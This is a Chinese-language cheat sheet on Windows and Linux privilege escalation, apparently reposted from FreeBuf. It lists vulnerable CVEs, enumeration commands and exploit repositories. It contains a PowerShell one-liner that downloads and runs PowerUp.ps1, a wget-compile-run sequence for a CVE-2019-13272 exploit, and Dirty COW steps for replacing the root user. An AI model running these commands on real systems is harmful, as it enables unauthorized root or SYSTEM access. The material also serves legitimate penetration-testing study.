操作系统提权 | xxx操作系统提权 – xxx
菜单

操作系统提权

三月 20, 2024 - FreeBuf

权限提升概述

Windows计算机中常见的权限

用户权限(Users)
管理员权限(Administrators)
系统权限 (SYSTEM)
访客权限 (Guest

Windows提权

user –> administrator
administrator –> system
services –> system

linux提权

user –> root

提权分类

本地提权

在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)提升到系统管理员权限或系统最
高权限。

远程提权

攻击者通过漏洞利用程序直接获取远程服务器的权限。

应用程序提权

SQL Server、MySQL、Oracle等

操作系统提权

Windows:MS06-067、MS10-084、MS11-014、MS11-05、MS12-020、MS16-032 等
Linux:CVE-2017-7308、CVE-2017-6074、CVE-2017-5123、CVE-2016-9793、CVE-2016-5195 等

提权条件

拥有Webshell/Beacon/Sessions
拥有普通用户权限
拥有某些软件的账号密码
本地或远程服务器上存在漏洞
拥有漏洞利用工具代码

Windows系统提权

(1) Windows提权思路

前期信息收集
Meterpreter提权
Windows系统内核漏洞
Windows服务提权漏洞

(2) Windows提权信息收集

1、手动信息收集

#补丁信息、补丁包过滤

wmic qfe get Caption,Description,HotFixID,InstalledOn

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:”KBxxxxxx” /C:”KBxxxxxx”

#获取杀软名

WMIC /Node:localhost /Namespace:\rootSecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

#组帐户管理

wmic group

#已安装操作系统的管理

wmic os

#进程管理

wmic process

#服务应用程序管理

wmic service

#用户帐户管理

wmic useraccount

#当用户登录到计算机系统时自动运行的命令的管理

wmic startup

#网络接口控制器(NIC)管理

wmic nic

2、自动收集

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’); Invoke-AllChecks”

(3) Windows内核漏洞提权

#利用可能存在的漏洞进行攻击提权(利用下面项目中的exp)

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/Ascotbe/Kernelhub
http://kernelhub.ascotbe.com/Home/Docs/#/
https://github.com/lyshark/Windows-exploits

#在线网站查询补丁对应漏洞

https://i.hacking8.com/tiquan

(4) 提权工具脚本

A. CollectAV_KB
收集补丁杀软信息
https://github.com/TryA9ain/CollectAV_KB
B. BeRoot
https://github.com/AlessandroZ/BeRoot
C. Watson
https://github.com/rasta-mouse/Watson
D. Sherlock
https://github.com/rasta-mouse/Sherlock

E. JuicyPotato
https://github.com/ohpe/juicy-potato
下载JuicyPotato
https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
Juicy Potato的限制条件有:

需要具有SeImpersonate或者SeAssignPrimaryToken权限
开启DCOM
本地支持RPC或者远程服务器支持RPC并能成功登录
能够找到可用的COM对象

F. JuicyPotato-ws.exe

JuicyPotato-ws.exe -p “whoami”

G. SweetPotato.exe

SweetPotato.exe -a whoami

Linux系统提权

(1) Linux提权思路

前期信息收集
Linux系统内核漏洞
Linux服务提权漏洞
SUDO权限滥用
SUID提权
GTFOBins

(2) Linux提权信息收集

# 查看发行版本
cat /etc/issue
cat /etc/*-release
lsb_release -a
# 查看内核版本
uname –a
uname –mrs

(3) Linux内核提权漏洞

#Linux平台提权漏洞集合:

https://github.com/SecWiki/linux-kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/

#www.exploit-db.com网站搜索exp

http://www.exploit-db.com

#searchsploit搜索exp

https://gitlab.com/exploit-database/exploitdb

列如:searchsploit privilege | grep -i linux | grep -i kernel

# 脏牛提权漏洞

原理:改写只读文件,将root用户改为自己命名的用户和密码

POC: https://github.com/FireFart/dirtycow

gcc编译: gcc -pthread dirty.c -o dirty -lcrypt

替换root用户: ./dirty password

#CVE-2019-13272

linux本地提权
漏洞范围:
4.10 < linux内核版本 < 5.1.17
exploitdb:
https://www.exploit-db.com/exploits/47163
利用exp:
https://www.exploit-db.com/download/47163

wget https://www.exploit-db.com/download/47163 -O exp.c
gcc exp.c –o exp
./exp

#CVE-2019-7304

Linux包管理器snap本地提权漏洞
Ubuntu版本范围:
Ubuntu 18.10
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 LTS
snap版本范围:
2.28 < snapd < 2.37

#dirty_sock

https://github.com/initstring/dirty_sock

#CVE-2021-3493

漏洞影响范围
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

漏洞利用
https://github.com/briskets/CVE-2021-3493
gcc exploit.c -o exp
./exp

(4) Linux密码Hash

利用管理者的错误配置,在/etc/passwd中找到泄露的密码HASH,然后进行解密,获得泄露的密码。

(5) 滥用的SUDO权限

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,可以使用sudo -l来查看当前用户在sudo下可以使用哪些指令,然后去搜索相关指令利用sudo提权的相关方法。

#sudo提权指令网站

https://gtfobins.github.io/

(6) SUID权限提权

#利用原理:

如果一个文件拥有SUID权限,那么这个文件执行起来的权限就会是其属主的权限,所以说这个文件就会有root权限,那么就可以利用这个文件进行提权。

#ind命令 查找拥有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

#查找出拥有SUID权限的文件之后,在https://gtfobins.github.io/上寻找可以用这个文件提权的指令。

(7) Linux提权工具

#traitor
https://github.com/liamg/traitor
#gtfo
https://github.com/mzfr/gtfo

# 渗透测试
操作系统提权

操作系统提权 已在FreeBuf发表 0 篇文章
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51